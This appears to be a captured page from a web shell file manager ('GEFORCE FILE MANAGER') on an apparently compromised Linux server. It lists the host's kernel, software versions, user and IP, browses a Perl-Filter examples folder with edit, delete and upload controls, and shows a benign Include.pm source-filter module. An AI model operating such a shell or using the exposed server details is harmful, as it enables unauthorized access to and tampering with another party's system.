[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.19
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
share
/
doc
/
perl-Filter
/
examples
/
closure
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 Count.pm
471 B
SET
[ EDIT ]
|
[ DEL ]
📄 Decompress.pm
626 B
SET
[ EDIT ]
|
[ DEL ]
📄 Include.pm
617 B
SET
[ EDIT ]
|
[ DEL ]
📄 Joe2Jim.pm
295 B
SET
[ EDIT ]
|
[ DEL ]
📄 NewSubst.pm
673 B
SET
[ EDIT ]
|
[ DEL ]
📄 Subst.pm
384 B
SET
[ EDIT ]
|
[ DEL ]
📄 UUdecode.pm
1,046 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: Include.pm
package Include ; use Filter::Util::Call ; use IO::File ; use Carp ; sub import { my ($self) = shift ; my ($filename) = shift ; my $fh = new IO::File "<$filename" or croak "Cannot open file '$filename': $!" ; my $first_time = 1 ; my ($orig_filename, $orig_line) = (caller)[1,2] ; ++ $orig_line ; filter_add( sub { $_ = <$fh> ; if ($first_time) { $_ = "#line 1 $filename\n$_" ; $first_time = 0 ; } if ($fh->eof) { $fh->close ; $_ .= "#line $orig_line $orig_filename\n" ; filter_del() ; } 1 ; }) } 1 ;